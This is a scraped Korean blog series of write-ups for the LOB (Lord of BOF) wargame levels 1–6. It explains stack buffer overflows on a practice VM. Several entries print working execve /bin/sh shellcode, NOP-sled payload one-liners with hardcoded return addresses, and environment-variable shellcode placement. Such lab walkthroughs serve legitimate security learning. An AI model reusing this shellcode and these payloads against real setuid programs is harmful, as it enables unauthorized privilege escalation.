반응형


이번에는 argv[1]을 48까지 한정하지만

ret을 모두 덮는데 48바이트만 필요하므로 상관이 없습니다.


Shellcode[40]+sfp+ret

으로 argv[1]에다 넣어주면 됩니다.


PayLoad

`python -c 'print "\x90"*16+"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f

\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

+"AAAA"+"\x06\xfc\xff\xbf"'`







'Pwnable > LOB' 카테고리의 다른 글

LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 2. Gremlin  (0) 2015.09.12
LOB 1. Gate  (0) 2015.09.08
반응형



이번 문제는 환경변수와 버퍼까지 지워버립니다.

하지만 아직 까지는 스택을 사용해야 합니다.

이때 우리는 argv배열이 

스택 상단부에 저장된다는 것을 생각해야 합니다.

그러므로 우리는 argv[2]번째에 쉘코드를 넣어 실행할 수 있습니다.



0xbfffffc4b 부터 argv[2]가 있는 것을 알 수 있습니다.


'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 2. Gremlin  (0) 2015.09.12
LOB 1. Gate  (0) 2015.09.08
반응형



이번 문제는 환경 변수를 지워버립니다. 

그리고 리턴 주소의 맨 앞 주소가 스택을 가리키고 있습니다.

그러므로 기본적인 BOF를 사용해야 합니다.


그러기 위해서는 버퍼의 정확한 위치를 알아야 하므로 tmp 폴더로

orc를 복사하여 실행시킵니다.



그러면 core가 덤프가 되었다고 하는데 

이 core는 gdb에서 오류가 난 이유를 찾을 수 있게 됩니다.



이렇게 오류 날 당시의 레지스터 까지 볼 수 있습니다.

덤프를 통해 쉘코드의 위치를 찾겠습니다.



쉘코드의 위치는 0xbffffc2b입니다



'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 3. Cobolt  (0) 2015.09.17
LOB 2. Gremlin  (0) 2015.09.12
LOB 1. Gate  (0) 2015.09.08
반응형


저번 문제에서는 인자로 값을 받았지만

이번에는 표준 입출력으로 입력을 받습니다.


다른 프로그램에게 값을 넘겨줄 때는 

BASH쉘에서는 |(파이프)를 사용합니다.

|(파이프)는 앞 프로그램의 출력을 뒷 프로그램의

입력으로 넘겨줍니다.



이제 2번 때처럼 공격을 해 보았습니다.



하지만 BASH쉘은 열리지 않습니다.

이 이유는 제가 생각하기에는 BASH는 열렸지만

표준 입출력이 goblin의 입출력을 표시하고 있으므로

화면에 표시가 되지 않는 것입니다.


그러므로 새롭게 표준 입출력을 제 지정하는 cat을 추가하면 됩니다.



'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 2. Gremlin  (0) 2015.09.12
LOB 1. Gate  (0) 2015.09.08
반응형


저번 Gate문제와는 달리 버퍼에 ShellCode를 저장할 수 없습니다.

그러므로 새로운 공간에 ShellCode를 넣을 필요가 있습니다.

이때 우리는 환경변수를 사용할 수 있습니다.


export shellcode=`python -c 'print SHELLCODE'`


와 같은 명령어를 통해 환경변수에 ShellCode를 넣을 수 있습니다.

그러면 이제 환경변수의 주소 위치를 알아야 합니다.


환경변수의 주소는 

환경변수 내용의 크기와 프로그램의 시작명령줄의 길이에 비례합니다.


프로그래밍을 통해 위치를 알았습니다.

#include<stdlib.h>

#include<stdio.h>

int main(int argc,char *argv[])

{

        int k,a,b;

        a=strlen(argv[0]);

        b=strlen(argv[1]);

        k=getenv("KSHMK");

        k+=2*(a-b);

        printf("0x%x\n",k);

        return 0;

}



이제 공격만 하면 됩니다.

오버플로우하는 방법은 이전 Gate와 같으므로 생략합니다.




'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 1. Gate  (0) 2015.09.08
반응형


LOB의 1번 Gate문제입니다.

소스를 보시면 strcpy로 인해 오버플로우가 남을 알 수 있습니다.



setuid가 걸려있으므로 gdb로 디버깅을 할 수 없으므로

임시폴더로 복사를 해 디버깅 할 수 있습니다.



main의 어셈블리 코드입니다.

처음에는 AT&T 문법이 적용되어 있지만

set disassembly-flavor intel

이라는 명령어를 통해 intel 문법으로 바꿔줄 수 있습니다.


main+54 에 있는 strcpy의 인자를 보시면 ebp-256번째부터 값이 들어가므로

"\x90"*100+ShellCode(25byte)+"A"*131+SFP+RET

이런 형식으로 값을 전달하면 됩니다.

gdb를 통해 버퍼의 주소 값을 알아내 보겠습니다.



argv1 의 값으로 "A"를 넣어주고 실행시켰습니다.

위 그림은 strcpy를 실행한 직후이며

ESP가 지정하고 있는 부분을 덤프한 것입니다.


이로써 Return 주소는 0xbffff918 임을 알 수 있습니다.

결과적으로 PayLoad는


"\x90"*100+ShellCode(25byte)+"A"*135+"\x18\xf9\xff\xbf" 


ShellCode 

\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

이때 주의하실 점은 LOB는 기본으로 bash1을 사용하는데

"\xff"를 NULL로 인식한다는 버그가 있으므로

커멘드로 chsh -s /bin/bash2를 입력해 사용하시길 바랍니다.



'Pwnable > LOB' 카테고리의 다른 글

LOB 6. Wolfman  (0) 2015.09.25
LOB 5. Orc  (0) 2015.09.23
LOB 4. Goblin  (0) 2015.09.20
LOB 3. Cobolt  (0) 2015.09.17
LOB 2. Gremlin  (0) 2015.09.12

+ Recent posts